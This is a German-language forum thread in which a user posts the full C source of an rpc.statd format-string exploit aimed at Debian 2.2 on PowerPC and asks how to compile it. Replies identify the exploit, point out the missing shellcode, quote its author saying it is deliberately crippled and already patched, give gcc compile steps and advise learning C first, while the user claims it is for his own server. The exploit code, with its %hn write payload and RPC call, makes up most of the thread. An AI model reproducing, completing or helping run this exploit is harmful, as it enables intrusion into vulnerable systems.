exploit

  • Themenstarter Themenstarter OmeGA
  • Beginndatum Beginndatum
O

OmeGA

Guest
Wie bekomme ich son exploit überhaupt zum laufen kennt da jemand so ein paar tuts wie man son teil kompelieren kann ???

hier ist der source den ich kompelieren will:

#include <sys/types.h>
#include <sys/time.h>
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <rpcsvc/sm_inter.h>
#include <sys/socket.h>

void usage(char *s) {
printf("Usage: %s host [-nopoke]\n", s);
exit(0);
}

extern char shell[];

main(int argc, char *argv[]) {
CLIENT *cl;
enum clnt_stat stat;
struct timeval tm;
struct mon monreq;
struct sm_stat_res monres;
struct hostent *hp;
struct sockaddr_in target;
int sd, i, noplen=strlen(nop), nopoke=0;
char *ptr=code, *p2, code[4096];

if (argc < 2)
usage(argv[0]);
if (argc > 2)
nopoke = 1;

/* Alignment */
strcpy(ptr, "AAA");
ptr += strlen(ptr);

/* Target to write to! */
*(unsigned long *)(ptr) = 0x7fffeb04;
ptr += sizeof(unsigned long);

/* pad */
*(unsigned long *)(ptr) = 0x11111111;
ptr += sizeof(unsigned long);

/* Target Two (two higher in memory probably) */
*(unsigned long *)(ptr) = 0x7fffeb06;
ptr += sizeof(unsigned long);

for(i = 0; i < 46-1; i++) {
strcpy(ptr, "%12d");
ptr += strlen(ptr);
}

if(!nopoke) {
/* Value to write - amount written */
/* Guess a bit - remember to leave a lot of padding, and be lucky on alignment */
/* Don't correct for IP address! Forced to localhost by stat code - same length. */
#define HIGH 0x7fff
#define LOW 0xeecc
sprintf(ptr, "%%%dd%%hn", HIGH - 12*45
- strlen("STAT_FAIL to 127.0.0.1 for SM_MON of AAABBBB1111CCCC"));
ptr += strlen(ptr);

sprintf(ptr, "%%%dd%%hn", (LOW - HIGH) % 65536);
ptr += strlen(ptr);

/* CODE */
p2 = shell;
while(*p2)
*(ptr++) = *(p2++);
}
*(ptr++) = 0;

memset(&monreq, 0, sizeof(monreq));
monreq.mon_id.my_id.my_name="localhost";
monreq.mon_id.my_id.my_prog=0;
monreq.mon_id.my_id.my_vers=0;
monreq.mon_id.my_id.my_proc=0;
monreq.mon_id.mon_name= code /*code*/;

if ((hp=gethostbyname(argv[1])) == NULL) {
printf("Can't resolve %s\n", argv[1]);
exit(0);
}
target.sin_family=AF_INET;
target.sin_addr.s_addr=*(u_long *)hp->h_addr;
target.sin_port=0; /* ask portmap */
sd=RPC_ANYSOCK;

tm.tv_sec=10;
tm.tv_usec=0;
if ((cl=clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) {
clnt_pcreateerror("clnt_create");
exit(0);
}
stat=clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res,
(char *)&monres, tm);
if (stat != RPC_SUCCESS)
clnt_perror(cl, "clnt_call");
else
printf("stat_res = %d.\n", monres.res_stat);
clnt_destroy(cl);
}
 
hmm, wozu willst du das denn machen? Wenn dus schon nicht hinbekommst zu kompilieren, dann solltest du soetwas auch nicht benutzen.

Solcher Code ist immer kompilier bereit, nur du musst die Voraussetzungen heranschaffen, die es benötigt. <- hint
 
Also das ist erstmal ein "rpc.statd - format sting Exploit", den man laut den includierten Header-Dateien unter Linux kompilen sollte. Aber ich bezweifele mal, das Du Exploit so einfach zum Laufen bekommst, da hier so ein paar komische Sachen drin sind, wie:

Code:
 /* CODE */
p2 = shell;[center]<-- verweist auf die Constante namens "shell", die ist aber nirgendwo definiert[/Center]
while(*p2)
*(ptr++) = *(p2++);
}
*(ptr++) = 0;

Da fehlen auch noch ein paar Dinge. Desweiteren macht es sich immer ganz gut, sich mal die Original-Quelle (hier) heraus zu suchen. Denn hier steht dann folgenden Kommentar vom Author:

Attached is an exploit. The offsets are for Linux/PowerPC, Debian 2.2. It
isn't functional, though - and it's more than just kiddy-proofed. You'll
need three things:
(A) shellcode. There's two or three published; mine isn't quite ready
for public consumption (meaning it's so ugly it embarrasses me).
I think it's better than any of the other PPC shellcodes currently
available, though. I'll publish it eventually.
(B) sm_inter.x from the nfs-utils source
(C) A way to flush the cache before running code.
PowerPC (recent CPUs, at least) has a separate data and instruction
cache. If you use this exploit as is, with gdb attached to the
process, single stepping, it will work. If you run it on a remote
machine, it won't. Why not? Because the code is on the stack, which
remains in the data cache, and then the icache loads the old contents
of the stack when you branch there!
There are several solutions to this.

You may also need to change the offsets. I think the exploit says all it
needs to say without hand-holding - questions about using it WILL go
directly to /dev/null. I do have a fully function version of this, and I
have verified that it works as promised.

Was ja nun Alles zum betroffenen System (=Debian 2.2) sagt. Ausserdem erklärt er auch gleich noch:

he current version of statd does not have these problems, for at least the
past two weeks (I believe the current version is 0.1.9.1). Fixed Debian
packages are available for alpha, sparc, powerpc, and i386.

Ausserdem würde ich Dir erstmal die Lektüre eines schönen C-Buches empfehlen, bevor Du versuchst, irgendwelche Sachen zu kompilen, die Du nicht wirklich verstehst. So soll ja schon vorgekommen sein, das dort richtig "böse" Hintertüren drin sind.

MfG Rushjo
 
Nö is doch nicht ilegal wenn das mein eigener server ist

und welches buch kannst du mir den da emfehlen

kennst du noch ein paar seiten wo man das auch erklert bekommt

danke für deine mühe
 
gcc -o exploitname exploitsouce.c

Das führt den GNU-C-Compiler aus und lässt ihn die C-Sourcedatei exploitsource.c in die Executable exploitname kompilliern.
Da in dem Source meist (absichtlich) Fehler enthalten sind bekommst du nicht gleich eine Executable sondern erstmal die Error-Meldungen und Warnings des Compilers.

vi exploitsource.c

Öffnet den Exploitsourcecode mit VI VIM oder ELVIS *ist ein editor*hachja Technik ist was tolles.

Nach dem Editieren versuchst du wieder den Source zu kompillieren.

gcc -o exploitname exploitsource.c

Das machst du solange bis du alle fehler gefunden hast... naja
dann musst du nur noch rausbekommen wie das alles genau funzt und wie man es bentutz *steht ja meist mit dabei* und dann kannst du es an DEINEM server in DEINEM Netz testen... enjoy.

PS:C/C++ Kenntnisse sind mehr als empfehlenswert! Erstmal hilft es dir wesentlich dabei weiter die Fehler zu finden (ich kenne kaum sploits die ohne Fehler sind... das hält die ScriptKiddies fern) und zweitens ist es um einiges befriedigender wenigstens so ungefähr zu wissen was da eigentlich vor sich geht. ;-D

PPS:Das Sploit musst du unter Linux,Unix oder Cygwin compilen ... nicht dass du dich wunderst warum dein VC dauernd fehlende Header meldet. ==)
 
Jo danke für deine hilfe

doch macht man dies mit den befehlen nicht unter linux so den ich habe windoof
 
mmm

Also soll ich jetzt von allem die finger lassen wenn ichs nicht auf anhib kapiere???

naja werde mich trotzdem weiterhin damit beschäftigen

und ich habe mir gerade Linux Red Hat besorgt
 
@OmegA

Nein, wir haben nicht gesagt, dass Du Dich nicht mitbeschäftigen sollst, sondern das Du Dich erstmal belesen solltest über die Grundlagen, bevor Du wie ein "Script Kiddie" irgendwelche Exploits compilen willst. Empfehlenswert wären Grundlagen in C/C++. Linux System Architektur und eine generelles Verständnis zu BufferOverflows etc.

MfG Rushjo
 
Da gebe ich dir recht ich möchte aufjedenfall nicht als Script Kiddy gelten

nun werd ich mich mit C++ beschäftigen
 
Zurück
Oben